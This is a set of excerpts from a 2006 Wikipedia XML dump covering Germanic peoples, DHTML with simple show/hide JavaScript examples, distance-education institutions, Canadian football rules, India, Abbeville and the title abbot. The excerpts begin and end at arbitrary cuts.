[[2000s]] there has been debate about exactly what ''&quot;tribe&quot;'' or ''&quot;people&quot;'' meant to these groups, whose fluidity and willingness to sometimes blend is seen while at the same time forced mergers as a result of war were taking place and the tribe as it had been known vanished. The late classical sources are especially clear in the matter of the blended nature of the [[Alamanni]]. The idea of a unified German people, or ''[[Volk]],'' was expressed openly in print by [[19th century]] [[Ethnic nationalism|Ethnic Nationalist]] writers and thinkers after the [[Napoleonic Wars]]. Such an identity, however, had existed more implicitly since the [[Middle Ages]], helping to fuel the [[Protestant Reformation]], when many Germanic lands pulled away religiously and politically from the [[Roman Catholic Church]]. ==Culture== [[Image:Frankish.grave.goods.jpg|thumb|right|250px|Gravegoods from various North French and Rhineland sites, up to the 6th century ([[British Museum]], London)]] See [[Germanic mythology]], [[Germanic paganism]], [[Migration Period art]] {{stubsection}} The Germanic tribes were each politically independent, under a hereditary king (see [[Germanic king]]). The kings appear to have claimed descendancy from mythical founders of the tribes, the name of some of which is preserved: *[[Angul]] &amp;mdash; [[Angles]] (the [[Kings of Mercia]], according to the [[Anglo-Saxon Chronicle]], other Anglo-Saxon dynasties are derived from other descendents of [[Woden]]) *[[Aurvandil]] &amp;mdash; [[Vandals]] (uncertain) *[[Burgundus]] &amp;mdash; [[Burgundians]] *[[Cibidus]] &amp;mdash; [[Cibidi]] *[[Dan (king)|Dan]] &amp;mdash; [[Danes]] *[[Gothus]] &amp;mdash; [[Goths]] *[[Ingve]] &amp;mdash; [[Yngling]]s *[[Irmin]] &amp;mdash; [[Irminones]] *[[Longobardus]] &amp;mdash; [[Lombards]] *[[Saxneat]] &amp;mdash; [[Saxons]] *[[Valagothus]] &amp;mdash; [[Valagoths]] See also: [[List of Germanic peoples]]. ==History== === Origin === [[Image:Nordic Bronze Age.PNG|right|200px|thumb|Map of the [[Nordic Bronze Age]] culture, ca [[1200 BC]]]] Regarding the question of ethnic origins, evidence developed by both archaeologists and linguists suggests that a people or group of peoples sharing a common material culture dwelt in northern [[Germany]] and southern [[Scandinavia]] during the late European [[Bronze Age]] ([[1000 BC]]-[[500 BC]]). This culture group is called the [[Nordic Bronze Age]] and spread from southern Scandinavia into northern Germany. The long presence of Germanic tribes in southern Scandinavia (an [[Indo-European]] language had probably arrived by [[2000 BC]]) is also evidenced by the fact that no pre-Germanic place names have been found in this area. Linguists, working backwards from historically-known [[Germanic languages]], suggest that this group spoke [[proto-Germanic]], a distinct branch of the [[Indo-European]] language family. Cultural features at that time included small, independent settlements, and an economy strongly based on the keeping of livestock. [[Image:Pre-roman iron age (map).PNG|right|200px|thumb|Map of the [[Pre-Roman Iron Age]] culture(s) associated with [[Proto-Germanic]], ca [[500 BC]]-[[60 BC]]. The area south of Scandinavia is the [[Jastorf culture]]]] The southward movement was probably influenced by a deteriorating climate in Scandinavia ca [[600 BC]] - ca [[300 BC]]. The warm and dry climate of southern Scandinavia (2-3 degrees warmer than today) deteriorated considerably, which not only dramatically changed the flora, but forced people to change their way of living and to leave settlements. At around this time, this culture discovered how to extract [[bog iron]] from the [[ore]] in [[peat bogs]]. Their technology for gaining [[iron ore]] from local sources may have helped them expand into new territories. The Germanic culture grew to the southwest and southeast, without sudden breaks, and it can be distinguished from the culture of the [[Celts]] inhabiting the more southerly [[Danube]] and Alpine regions during the same period. The details of the expansion are known only generally, but it is clear that the forebears of the [[Goths]] were settled on the southern [[Baltic Sea|Baltic]] shore by [[100 AD]]. According to some scholars, along the lower and middle [[Rhine]], previous [[Nordwestblock|local inhabitants]] seem to have come under the leadership of Germanic figures from outside. The early Germanic tribes spoke [[mutually intelligible]] dialects, and shared a common culture and [[mythology]] (see [[Germanic paganism|Germanic mythology]]), as is indicated by [[Beowulf]] and the [[Volsunga saga]]. One example of their shared identity is their common Germanic name for ''non''-Germanic peoples, ''*[[walha]]z'' (plural of *walhoz), from which the local names [[Wales|Welsh]], [[Valais|Wallis]], etc. were derived. A second example of a recognized ethnic unity is the fact that the Romans knew them as one and gave them a common name, Germani, the source of our ''German'' and ''Germanic'' (see Etymology below). In the absence of large-scale political unification, such as that imposed forcibly by the [[Ancient Rome|Romans]] upon the peoples of [[Italy]], the various tribes remained free, led by their own hereditary or chosen leaders. === Collision with Rome === By the late 2nd century, B.C., Roman authors recount [[Gaul]] (modern [[France]]), [[Italy]], and [[Iberian Peninsula|Iberia]] and [[Lusitania]] (modern [[Spain]] and [[Portugal]]) were invaded by migrating Germanic tribes, culminating in military conflict with the armies of the [[Roman Empire]]. Six decades later, [[Julius Caesar]] invoked the threat of such attacks as one justification for his annexation of Gaul to Rome. [[Image:Pre_Migration_Age_Germanic.png|thumb|300px|Map showing the distribution of the Germanic tribes in Proto-Germanic times, and stages of their expansion up to 50 BC, AD 100 and AD 300. The extent of the Roman Empire in 68 BC and AD 117 is also shown.]] As [[Rome]] expanded to the [[Rhine]] and [[Danube]] rivers, it incorporated many [[Celt]]ic societies into the Empire. The tribal homelands to the north and east emerged collectively in the records as [[Germania]]. The peoples of this area were
t; function init() { myObj = document.getElementById(&quot;navigation&quot;); // .... more code } window.onload=init; &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;div id=&quot;navigation&quot;&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; &lt;/pre&gt; Often the JavaScript code is stored in an external file, this is done by [[Linker|linking]] the file which contains the JavaScript. This is helpful when several pages use the same script: &lt;pre&gt; &lt;script type=&quot;text/javascript&quot; src=&quot;myjavascript.js&quot;&gt;&lt;/script&gt; &lt;/pre&gt; See also ''[[DOM Events]]'' == Example: Displaying an additional block of text == The following code illustrates an often used function. An additional part of a web page will only be displayed if the user requests it. In [[e-learning]], such a function could be used to display additional hints or an answer the student initially should not see. &lt;pre&gt; &lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD HTML 4.01//EN&quot; &quot;http://www.w3.org/TR/html4/strict.dtd&quot;&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;Test&lt;/title&gt; &lt;style type=&quot;text/css&quot;&gt; h2 {background-color: lightblue; width: 100%} a {font-size: larger; background-color: goldenrod} a:hover {background-color: gold} #example1 {display: none; margin: 3%; padding: 4%; background-color: limegreen} &lt;/style&gt; &lt;script type=&quot;text/javascript&quot;&gt; &lt;!-- function changeDisplayState (id) { e=document.getElementById(id); if (e.style.display == 'none' || e.style.display ==&quot;&quot;) { e.style.display = 'block'; showhide.innerHTML = 'Hide example'; } else { e.style.display = 'none'; showhide.innerHTML = 'Show example'; } } //--&gt; &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;h2&gt;How to use a DOM function&lt;/h2&gt; &lt;p&gt;&lt;a id=&quot;showhide&quot; href=&quot;javascript:changeDisplayState('example1')&quot;&gt;Show example&lt;/a&gt;&lt;/p&gt; &lt;div id=&quot;example1&quot;&gt; This is the example. (Additional information, which is only displayed on request) ..............&lt;/div&gt; &lt;p&gt;The general text continues ....&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;/body&gt; &lt;/html&gt; &lt;/pre&gt; == A Presentation Application == [[S5 file format|S5]] is a presentation application of DHTML which works in modern browsers (IE 6 included): A single XHTML file contains a slideshow which may be viewed in projector mode slide by slide (browser window set to full screen), as a single web document or printed out as a handout. With DHTML a navigation is built dynamically. Simple animations are possible. Formatting is done with CSS. == External links == * [http://www.quirksmode.org/ QuirksMode], a comprehensive site with test examples and instructions on how to write DHTML code which runs on several browsers * [http://www.dhtmlcentral.com DHTML Central], a web site with a DHTML library and several javascript components for menus, trees, and a library for simplifying cross-browser DHTML programming. *[http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/reference/dhtml_reference_entry.asp HTML &amp; DHTML Reference on [[MSDN]]] [[Category: HTML]] [[de:Dynamic HTML]] [[es:HTML dinámico]] [[fr:HTML dynamique]] [[ko:DHTML]] [[it:DHTML]] [[he:DHTML]] [[nl:Dynamic HTML]] [[ja:ダイナミックHTML]] [[pl:Dynamiczny HTML]] [[pt:DHTML]] [[sv:DHTML]] [[vi:HTML động]] [[zh:DHTML]]</text> </revision> </page> <page> <title>Distance education</title> <id>8997</id> <revision> <id>42024046</id> <timestamp>2006-03-03T07:42:57Z</timestamp> <contributor> <username>Ixfd64</username> <id>6284</id> </contributor> <minor /> <comment>Reverted edits by [[Special:Contributions/211.30.192.174|211.30.192.174]] ([[User talk:211.30.192.174|talk]]) to last version by Kitty1983</comment> <text xml:space="preserve">'''Distance education''' or distance learning is a field of education that focuses on the pedagogy/andragogy, technology, and instructional systems design that is effectively incorporated in delivering education to students who are not physically &quot;on site&quot; to receive their education. Instead, teachers and students may communicate asynchronously (at times of their own choosing) by exchanging printed or electronic media, or through technology that allows them to communicate in real time (synchronously). Distance education courses that require a physical on-site presence for any reason including the taking of examinations is considered to be a hybrid or blended course or program. ==Types of distance education courses:== * Correspondence conducted through regular mail * Internet conducted either synchronously or asynchronously * Telecourse/Broadcast where content is delivered via radio or television * CD-ROM where the student interacts with computer content stored on a CD-ROM * PocketPC/Mobile Learning where the student accesses course content stored on a mobile device or through a wireless server ==Origins== One of the oldest distance education universities is the [[University of South Africa]], which has been offering DE courses since 1946. The largest distance education university in the [[United Kingdom]] is the ''[[Open University]]'' founded 1969. In [[Germany]] the [[FernUniversität in Hagen]] was founded 1974. There are now many similar institutions around the world and these are listed below. There are many private and public, non-profit and for-profit institutions offering courses and degree programs through distance education. Levels of [[school accreditation|accreditation]] vary; some institutions offering distance education in the [[United States]] have received little outside oversight, and some may be fraudulent [[diploma mills]]. In many other jurisdictions, an institution may not use the term &quot;University&quot; without accreditation and authorisation, normally by the national government. ==Major institutions offering distance learning programs== '''''Caution''' Some organisations describing themselves as Distance Education institutions are nothing of the sort and their actions may bring the sector into disrepute. Refer to [[Diploma mills]] and [[List of unaccredited institutions of higher learning]]. '' === Azerbaijan === Go to www.azrena.org === Australia === * [[Correspondence school]]s are run by state education departments for students in remote areas, where they are too far away to attend any school. Students and teachers use the postal system to communicate. ** [[Queensland]] - [[Department of Distance Education]] * [[School of the Air]] is a system similar to [[Correspondence school]]s but use radios developed in the [[1920s]] for the [[RFDS]] to link students and teachers. Universities which have comprehensive distance education programs: [[Edith Cowan University]] [[University of New England, Australia]] [[Deakin University]] [[Monash University]] [[Charles Sturt University]] [[Macquarie University]] === Belgium === * [[Pôle Universitaire Euclide / Euclid University ]] * [[Thierry Graduate School of Leadership]] ===Brazil=== * [http://www.claretiano.edu.br/ Centro Universitário Claretiano] ===Canada=== * [[Athabasca University]] * [[Royal Roads University]] * [[Simon Fraser University]] * [[Télé-université]] (part of [[UQAM]]) * [[Thompson Rivers University]] * [[University of Waterloo]] * [[Ryerson University]] * [[Alberta Distance Learning Centre]] * [[Canadian Virtual University]] ===China=== {{expand list}} *[[Open University of Hong Kong|The Open University of Hong Kong]] (OUHK) *[[School of Professional and Continuing Education]], [[The University of Hong Kong]] (HKU SPACE) ===France=== * [[Centre National d'Enseignement à Distance]] (CNED) ===Germany=== * [[FernUniversität in Hagen]] * [[AKAD Privathochschulen]] * [[Diploma Europäische Hochschulen]] * [[Europäische Fernhochschule Hamburg]] * [[Fernfachhochschule Riedlingen]] * [[Hamburger Fernhochschule]] * [[Private Fernfachhochschule Darmstadt]] ===India=== * [[IGNOU|Indira Gandhi National Open University]] *[[School of Distance Education, Andhra University]] * [[Sikkim Manipal University]] * [[Amrita Vishwa Vidyapeetham]] ===Iran=== * [[Payame Noor University]] rvd university. ===Ireland=== * [[Kilroy's College]] ===Israel=== * [[Open University of Israel]] ===Mexico=== * [http://www.ruv.itesm.mx/portal/principal/qs/english/ Universidad Virtual of Tecnológico de Monterrey] ===The Netherlands=== * [[Open University (Netherlands)]] === New Zealand === * [[Massey University]] ===Philippines=== * [[University of the Philippines Open University]] * [[Pamantasan ng Lungsod ng Maynila]] ===Portugal=== * [[Universidade Aberta]] ===Russia=== * [[MIM LINK]] (The [[Open University]] (UK) partner in [[CIS]]) ===Singapore=== * [[Singapore Institute of Management]]-[[Open University Centre]] (to be accorded [[university]] status as [[SIM University]] in [[2006]]) ===South Africa=== * [[University of South Africa]] ===Spain=== *[http://www.uned.es/ Universidad Nacional de Educación a Distancia] * [[Universitat Oberta de Catalunya]] ===Switzerland=== * [[AKAD Hochschule für Berufstätige]] * [[Fernfachhochschule Schweiz]] * (see also &quot;International&quot; below). ===Thailand=== * [[Sukhothai Thammathirat Open University]] ===Tunisia=== * [http://www.uvt.rnu.tn Virtual University of Tunis] ===United Kingdom=== * [[Heriot-Watt University]] * [[Open College of the Arts]] * The [[Open University]] (also provides the [[OUVS]] verification services for degrees awarded by other institutions such as the [[Maryvale Institute]]) * [[University of London]] * [[University of Wales, Lampeter]] (including certain courses offered by [[Midlands Bible College]]) * [[International Correspondence Schools]] * The [[International Extension College]] * The [[National Extension College]] * [[Napi
wo downs they usually punt the ball on third down or try to kick a [[field goal]] (see below), depending on their position on the field. === Change in possession === The ball changes possession in the following instances: * If the offence scores; the defence has the right to claim possession (either by starting from scrimmage at their own 35 yard line, or by receiving a kickoff). The defence may also elect to kick the ball to their opponents; teams with a strong placekicker and a stout defence may choose to do this to gain better field position for their own offence. This also applies when the defence scores on a turnover which is returned for a touchdown--technically, they become the offence for the conclusion of the play, and the scored-upon team has the right to claim possession. * If the defence scores on a safety, they have the right to claim possession. * If one team kicks the ball; the other team has the right to recover the ball and attempt a return. If a kicked ball goes out of bounds, or the kicking team scores a single or field goal as a result of the kick, the other team likewise gets possession. * If the offence fails to make ten yards in three plays, the defence ''takes over on downs''. * If the offence attempts a forward pass and it is ''intercepted'' by the defence; the defence takes possession immediately (and may try and advance the ball on the play). Note that incomplete forward passes (those which go out of bounds, or which touch the ground without being first cleanly caught by a player) result in the end of the play, and are not returnable by either team. * If the offence ''fumbles'' (a ball-carrier drops the football, or has it dislodged by an opponent, or if the intended player fails to catch a lateral pass or a snap from center, or a kick attempt is blocked by an opponent), the ball may be recovered (and advanced) by either team. If a fumbled ball goes out of bounds, the team whose player last touched it is awarded possession at the spot where it went out of bounds. A fumble by the offence in their own end zone, which goes out of bounds, results in a safety. * When the first half ends, the team which kicked to start the first half may receive a kickoff to start the second half. ===Rules of contact=== There are many rules to contact in football. First, the only player on the field who may belegally tackled is the player currently in possession of the football (the ball carrier). Second, a receiver, that is to say, an offensive player sent down the field to receive a pass, may not be interfered with (have his motion impeded, be blocked, etc). unless he is within one yard of the line of scrimmage (as opposed to 5 yards in American football). Any player may block another player's passage, so long as he does not hold or trip the player he intends to block. The kicker may not be contacted after the kick, and the quarterback, having already thrown the ball, may not be hit or tackled. ==== Infractions and penalties ==== Infractions of the rules are punished with ''penalties'', typically of 5, 10, or 15 yards. Minor violations such as ''offside'' (a player from either side encroaching into scrimmage zone before the play starts) are penalized five yards, more serious penalties (such as holding) are penalized 10 yards, and severe violations of the rules are typically penalized 15 yards. Depending on the penalty, the penalty yardage may be assessed from the original line of scrimmage, the spot the violation occurred, or the place the ball ended after the play. Penalties on the offence may, or may not, result in a loss of down; penalties on the defence may result in a first down being automatically awarded to the offence. For particularly severe conduct, the game official(s) may eject players (ejected players may be substituted for), or in exceptional cases, declare the game over and award victory to one side or the other. Penalties do not affect the yard line which the offence must reach in order to reach first down (unless the penalty results in a first down being awarded); if a penalty against the defence results in the first down yardage being attained, then the offence is awarded a first down. Penalties may occur before a play starts (such as offsides), during the play (such as holding), or in a dead-ball situation (such as unsportsmanlike conduct). Penalties never result in a score for the offence (a penalty by the defence committed in their end zone is not ruled a touchdown); on rare occasions, penalties against the offence in their own end zone may result in a safety being scored by the defence. If the penalty yardage, once assessed would move the ball into an end zone (or further than half the distance between the end zone and the spot the penalty is assessed from), a penalty of half-the-distance is assessed instead. Note that in Canadian football (unlike American football), no scrimmage may start inside either one-yard line. In most cases, the non-penalized team will have the option of ''declining'' the penalty; in which case the results of the previous play stand as if the penalty had not been called. One notable exception to this rule is if the kicking team on a 3rd down punt play is penalized before the kick occurs; the receiving team may not decline the penalty and take over on downs. (After the kick is made, change of possession occurs and subsequent penalties are assessed against either the spot where the ball is caught, or the runback). ===Positions=== ====Offence==== The offensive positions found in [[Canadian football]] (and American football) have, for the most part, evolved throughout the years, and are not officially defined in the rules. However, among offensive players, the rules recognize three different types of players: ; Down linemen: Down linemen are players who, at the start of every play, line up at the line of scrimmage; once in their stance they many not move until the play begins. The offense must have at least seven players lined up at the line of scrimmage on every play. The exception to this rule is the player (typically the ''centre'') who snaps the ball to the quarterback. Linemen may not run with the ball (unless they recover it on a fumble) or receive a hand-off or lateral pass. In addition, the centre and the two linemen on either side are '''ineligible receivers'''; they may not receive a forward pass either. (Other players who line up at the line of scrimmage may receive forward passes). ; Backs: Backs line up behind the linemen; they may run with the ball, receive handoffs, laterals, and forward passes. They may also be in motion before the play starts. Specific offensive positions include: ; Quarterback: Generally the leader of the offense. Calls all plays, receives the ball off of snap, and initiates the action usually by running the ball himself, passing the ball to a receiver, or handing the ball off to another back. ; Fullback: Multiple roles including pass protection, receiving, and blocking for the running back. On short yardage situations may also carry the ball. ; Running back: As the name implies, the main runner on the team. Also a eligible receiver and blocker on pass plays. ; Wide receiver: Lines up on the line of scrimmage, usually at a distance from the center. Runs down the field in order to catch a forward pass from the quarterback. ; Slotback: Same as the wide receiver, but starts five yards back off the line of scrimmage and stays closer to the offensive line. ; Centre: Snaps the ball to the quarterback. Most important pass blocker on pass plays. Calls offensive-line plays. ; Left/right guard: Stands to the left and right of the centre helps protect the quarterback, Usually very good run blockers to open holes up the middle for runners. ; Left/right tackle: Stands on the ends of the offensive line, The biggest men on the line, usually about 300 [[avoirdupois|pounds]] (140 kg). Usually very good pass blockers. ; Offensive lineman: Collective name for centre, guards, and tackles. ====Defence==== The rules do not constrain how the defense may arrange itself (other than the requirement that they must remain one yard behind the line of scrimmage until the play starts). ; Cornerback: Covers the wide receivers on most plays. ; Safety: Covers deep. Last line of defence, can offer run support or blitz. ; Defensive halfback: Covers the slotback and helps contain the run from going to the outside. ; Defensive back: Collective term for cornerback, safety, and defensive halfback. ; Nose tackle: Lineman across from centre, tries to get past the offensive-line or take double team and open holes for blitzes. ; Defensive tackle: Inside defensive linemen try to break through the offensive line and open holes for linebackers. ; Defensive end: Main rushing lineman. Rushes the quarterback and contain ; Middle linebacker: Lines up across from the centre 3 to 4 yards back. Quarterback of the defence. Calls plays for lineman and linebackers. ; Weak-side linebacker: Lines up on the short side of field, and can drop into pass coverage or contain. ; Strong-side linebacker: Lines up on the opposite side and usually rushes. ====Special teams==== ''Special teams'' generally refers to kicking plays, which typically involve a change in possession. ; Holder: Receives the snap on field goal tries and converts; places the ball in position and holds it to be kicked by the kicker. ; Kicker: Kicks field goals, converts, kick-offs ; Punter: Punts ball, usually on third downs ; Returners: Fast, agile runners who specialize in fielding punts and kickoffs, attempting to advance them for better field position or a score. ===Other kicks=== Canadian football distinguishes three ways of kicking the ball: ; Place kick : Kicking a ball held on the ground by a teammate, or, on a kickoff (resuming play following a score), placed on a tee. ; [[Drop kick]] : Kicking a ball after bouncing it on the ground.
n to region. The country is notable for its wide variety of [[vegetarian]] and non vegetarian [[wikibooks:Cookbook:Cuisine of India|cuisine]]. Spicy food and sweets are popular in India. [[Indian Dress|Traditional dress]] in India greatly varies across the regions in its colours and styles, and depend on various factors, including climate. The traditional [[sari]] is a popular style of dress for women. Traditional raiments for men is [[dhoti]]. {{see also|List of World Heritage sites in India|Indian architecture|Indian family name|Cuisine of India}} ==Sports and games== {{main|Sports in India}} India's national sport is [[field hockey]], although [[cricket]] is now the ''de facto'' national game due to its success and popularity in recent times. However, cricket is not the most popular sport in some states, particularly in the North Eastern parts of the country where soccer is favoured more. [[Chess]] is another international sport in which India is quite strong: [[Viswanathan Anand]] was [[FIDE]] World Champion, and several players have made significant inroads in recent years, well past the [[International Grandmaster|Grandmaster]] level. India also has a tradition of cue sports ([[snooker]], [[billiards]], etc) and shooting. India has had relatively little success in other international events like the [[Olympics]], where it garnered just one silver medal and two bronze medals in the previous three outings. However, it had won eight [[field hockey]] golds until 1980. India has done rather well in [[Davis Cup]] [[tennis]] tournaments, reaching the finals on three occasions. Its players have secured several individual titles and [[Grand Slam (tennis)|Grand Slam]] doubles wins, but an Indian is yet to win a Grand Slam singles. Traditional indigenous sports include [[polo]], [[kabaddi]], [[Kho Kho]] and [[gilli-danda]], which are played in most parts of the country. Chess, [[badminton]] and [[carrom]] are also said to have originated in India. Snooker and badminton have seen Indians achieve some international success. [[Football (soccer)]] is also widely watched in almost the entire country, and is the most popular sport in many states , though India ranks above 100 in the FIFA rankings. [[Formula 1]] racing is also increasing in popularity, due to racing driver [[Narain Karthikeyan]], though its reach is largely limited to urban areas. ==Holidays== {{main|List of Festivals in India}} India has three National Holidays. Other sets of holidays, varying between nine to twelve, pertains to festivals, religious holidays and births of leaders which are legislated by the individual states. &lt;center&gt; {| border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; width=&quot;90%&quot; style=&quot;border-collapse:collapse; border:1px solid #aaa; text-align:left&quot; |- ! style=&quot;background:#efefef;&quot; width=&quot;15%&quot; | Date ! style=&quot;background:#efefef;&quot; width=&quot;20%&quot; | Holiday ! style=&quot;background:#efefef;&quot; | Remarks |- | [[26 January]] | [[Republic Day of India|Republic Day]] | The constitution of India came into effect on this day in the year 1950. |- | [[15 August]] | [[Indian Independence Day|Independence Day]] | India gained its independence from the British Empire on this day in 1947. |- | [[2 October]] | [[Gandhi Jayanti]] | The birth anniversary of [[Mahatma Gandhi]]. |} &lt;/center&gt; ==See also== {{Topics related to India}} ==External links== {{portal}} {{sisterlinks|India}} &lt;!--PLEASE ADD SITES RELATING TO INDIA AS A WHOLE. EXTERNAL LINKS PERTAINING TO SPECIFICS SHOULD BE PLACED IN THE CORRESPONDING ARTICLES. --&gt; ; '''Official''' * [http://india.gov.in/ Offical Portal of Indian Government] * [http://goidirectory.nic.in GOI Directory] — Directory of governmental websites * [http://indiaimage.nic.in/ Indiaimage National Informatics Centre] — Basic Portal to Govt. of India Websites ; '''Other''' &lt;!-- Include ONLY links that pertain to India as a whole. Maps are linked from the country's latitude/longitude. --&gt; *{{wikitravel}} *{{wikicities|india|India}} *[http://www.cia.gov/cia/publications/factbook/geos/in.html CIA — The World Factbook — India] — [[CIA]]'s Factbook on India *[http://news.bbc.co.uk/1/hi/world/south_asia/country_profiles/1154019.stm Country Profile: India ] — [[BBC]]'s Country Profile on India ==References== {{explain-inote}} * {{Web reference | title = India facts and figures | work = Embassy of India | URL = http://www.indianembassy.org/dydemo/indiaprofile/profile.htm | date = August 14 | year = 2005 }} * {{Web reference | title = Forex reserves up by $1bn | work = [[Economic Times]] | URL = http://economictimes.indiatimes.com/articleshow/1093864.cms | date = August 14 | year = 2005 }} * {{Web reference | title = India Economy | work = Travel Document Systems | URL = http://www.traveldocs.com/in/economy.htm | date = August 14 | year = 2005 }} * {{Web reference | title = Services | work = India in Business | URL = http://www.indiainbusiness.nic.in/india-profile/ser-infotech.htm | date = August 14 | year = 2005 }} * {{Web reference | title = Destination India: An Unpolished Diamond | work = [[Times of India]] | URL = http://timesfoundation.indiatimes.com/articleshow/819309.cms | date = August 14 | year = 2005 }} * {{Web reference | title = CIA Factbook : India | work = CIA Factbook | URL = http://www.cia.gov/cia/publications/factbook/geos/in.html | date = August 14 | year = 2005 }} * {{Web reference | title = Provisional Population Totals 2001 Census | work = Census of India | URL = http://www.censusindia.net/results/resultsmain.html | date = August 14 | year = 2005 }} * {{Web reference | title = Debating India &amp; India's literacy rate | work = Debating India | URL = http://india.eu.org/1963.html | date = August 14 | year = 2005 }} * {{Web reference | title = India – Country profiles | work = indexmundi.com | URL = http://www.indexmundi.com/India/ India | date = August 14 | year = 2005 }} * {{Web reference | title = Census of India 2001, Data on Religion | work = Census of India | URL = http://www.censusindia.net/results/religion_main.html | date = August 14 | year = 2005 }} * {{Web reference | title = Languages of India | work = India image | URL = http://indiaimage.nic.in/languages.htm | date = August 14 | year = 2005 }} * {{cite book | first = K.M. | last = Matthew | title = Manorama Yearbook 2003 | publisher = Malaya Manorama | year = 2003 | id = ISBN 8190046187 | pages = pg 524 }} ==Notes== *{{mnb|afgh|1}} The Government of India considers the entire state of [[Jammu and Kashmir]] to be a part of India. This state borders a part of [[Afghanistan]]. A ceasefire sponsored by the [[United Nations]] in 1948 freezes the positions of Indian and Pakistani held territory. As a consequence, the region bordering Afghanistan is in Pakistani-administered territory. *{{mnb|LoC|2}} The black line is the boundary as recognised by the government of India. The northern region of [[Kashmir]] is currently administered by India, Pakistan, and China (and coloured in as such). The delimiting of the three administered regions is ''not'' the international boundary but a ceasefire line demarcated in red. The boundary separating India and Pakistan is known as the [[Line of Control]], that separating India and China as the '[[Line of Actual Control]]'. Most of the state of [[Arunachal Pradesh]] is still claimed by China. ---- * '''India''' is also the letter '''[[I]]''' in the [[NATO phonetic alphabet]]. {{India ties}} {{Life in India}} {{featured article}} [[Category:India|*]] [[Category:Republics]] [[Category:Members of the Commonwealth of Nations]] [[Category:SAARC members]] [[Category:Former British colonies]] {{Link FA|de}} {{Link FA|sv}} [[af:Indië]] [[als:Indien]] [[an:India]] [[ang:India]] [[ar:هند]] [[as:ভারত]] [[ast:India]] [[ay:India]] [[be:Індыя]] [[bg:Индия]] [[bh:भारत]] [[bn:ভারত]] [[br:India]] [[bs:Indija]] [[ca:Índia]] [[chr:India]] [[co:India]] [[cr:India]] [[cs:Indie]] [[csb:Indie]] [[cv:Инди]] [[cy:India]] [[da:Indien]] [[de:Indien]] [[dv:ހިންދުސްތާން]] [[el:Ινδία]] [[eo:Barato]] [[es:India]] [[et:India]] [[eu:India]] [[fa:هند]] [[fi:Intia]] [[fo:India]] [[fr:Inde]] [[fur:Indie]] [[fy:Yndia]] [[ga:An India]] [[gd:Na h-Innseachan]] [[gl:India - भारत]] [[gn:India]] [[got:𐌹𐌽𐌳𐌹𐌰]] [[gu:ભારત]] [[haw:ʻInia]] [[he:הודו]] [[hi:भारत]] [[hr:Indija]] [[ht:End]] [[hu:India]] [[hy:Հնդկաստան]] [[ia:India]] [[id:India]] [[io:India]] [[is:Indland]] [[it:India]] [[iu:ᐃᓐᑎᐊ]] [[ja:インド]] [[jbo:barat]] [[jv:India]] [[ka:ინდოეთი]] [[kk:Үндістан]] [[km:ឥណ្ឌា]] [[kn:ಭಾರತ]] [[ko:인디아]] [[ks:ہِندوستان]] [[ku:Hindistan]] [[kw:Eynda]] [[la:India]] [[lb:Indien]] [[li:India]] [[lt:Indija]] [[lv:Indija]] [[mi:Inia (whenua)]] [[mk:Индија]] [[ml:ഇന്ത്യ]] [[mr:भारत]] [[ms:India]] [[mt:Indja]] [[na:India]] [[nah:India]] [[nap:Innia]] [[nds:Indien]] [[ne:भारत]] [[nl:India]] [[nn:India]] [[no:India]] [[oc:Índia]] [[or:ଭାରତ]] [[os:Инди]] [[pa:ਭਾਰਤ]] [[pl:Indie]] [[ps:هند]] [[pt:Índia]] [[qu:Indiya]] [[rm:India]] [[ro:India]] [[ru:Индия]] [[sa:भारत]] [[sc:Ìndia]] [[scn:India]] [[sd:भारत]] [[se:India]] [[sh:Indija]] [[simple:India]] [[sk:India]] [[sl:Indija]] [[sq:India]] [[sr:Индија]] [[su:India]] [[sv:Indien]] [[sw:Uhindi]] [[ta:இந்தியா]] [[te:భారత దేశము]] [[tg:Ҳиндустон]] [[th:ประเทศอินเดีย]] [[tl:Indya]] [[tpi:India]] [[tr:Hindistan]] [[tt:Hindstan]] [[uk:Індія]] [[ur:بھارت]] [[uz:Hindiston]] [[vi:Ấn Độ]] [[wa:Inde]] [[yi:אינדיִיע]] [[yo:India]] [[zh:印度]] [[zh-min-nan:Ìn-tō·]]</text> </revision> </page> <page> <title>Music of India</title> <id>14535</id> <revision> <id>40603437</id> <timestamp>2006-02-21T19:38:28Z</timestamp> <contributor> <username>TUF-KAT</username> <id>8351</id> </contributor> <minor /> <comment>Reverted edits by [[Special:Contributions/86.128.153.17|86.128.153.17]] ([[User talk:86.128.153.17|talk]]) to last version by 62.3.32.56</comment> <text x
ture)|belfry]] of the [[13th century]]. Among the numerous old houses, that known as the Maison de [[Francis I of France|Francois I]], which is the most remarkable, dates from the [[16th century]]. There is a statue of [[Admiral Courbet]] (d. [[1885]]) by [[Alexandre Falguière]] in the chief square. The public institutions include tribunals of first instance and of commerce, a board of trade-arbitrators, and a communal college. Abbeville is an important industrial centre; in addition to its old-established manufacture of cloth, hemp-spinning, sugar-making, ship-building and [[locksmithing|locksmith]]s' work are carried on; there is active commerce in grain, but the port has little trade. [[Category:Archaeological sites in France]] [[Category:Communes of Somme]] [[cs:Abbeville]] [[da:Abbeville]] [[de:Abbeville]] [[et:Abbeville]] [[fr:Abbeville]] [[gl:Abbeville]] [[it:Abbeville (Francia)]] [[nl:Abbeville]] [[pl:Abbéville]] [[ro:Abbeville]] [[ru:Абвиль]] [[sv:Abbeville]]</text> </revision> </page> <page> <title>Abbot</title> <id>1143</id> <revision> <id>41890472</id> <timestamp>2006-03-02T11:42:03Z</timestamp> <contributor> <username>Fastifex</username> <id>411070</id> </contributor> <comment>/* Protestantism */</comment> <text xml:space="preserve">{{otheruses}} [[Image:Prepozyt.png|right|300px|thumb|Abbot's coat of arms]] The word abbot, meaning father, has been used as a Christian clerical title in various, mainly monastic, meanings. ==Origins== The title had its origin in the [[monastery|monasteries]] of [[Syria]], spread through the eastern [[Mediterranean]], and soon became accepted generally in all languages as the designation of the head of a monastery. Originally, the word, meaning father, was applied to various priests, e.g. at the court of the Frankish monarchy the ''Abbas palatinus'' ('of the palace') and ''Abbas castrensis'' ('of the camp) were chaplains to the Merovingian/ Carolingian sovereign's court viz. to his army. At first it was employed as a respectful title for any monk, but it was soon restricted by canon law to certain priestly superiors. The name 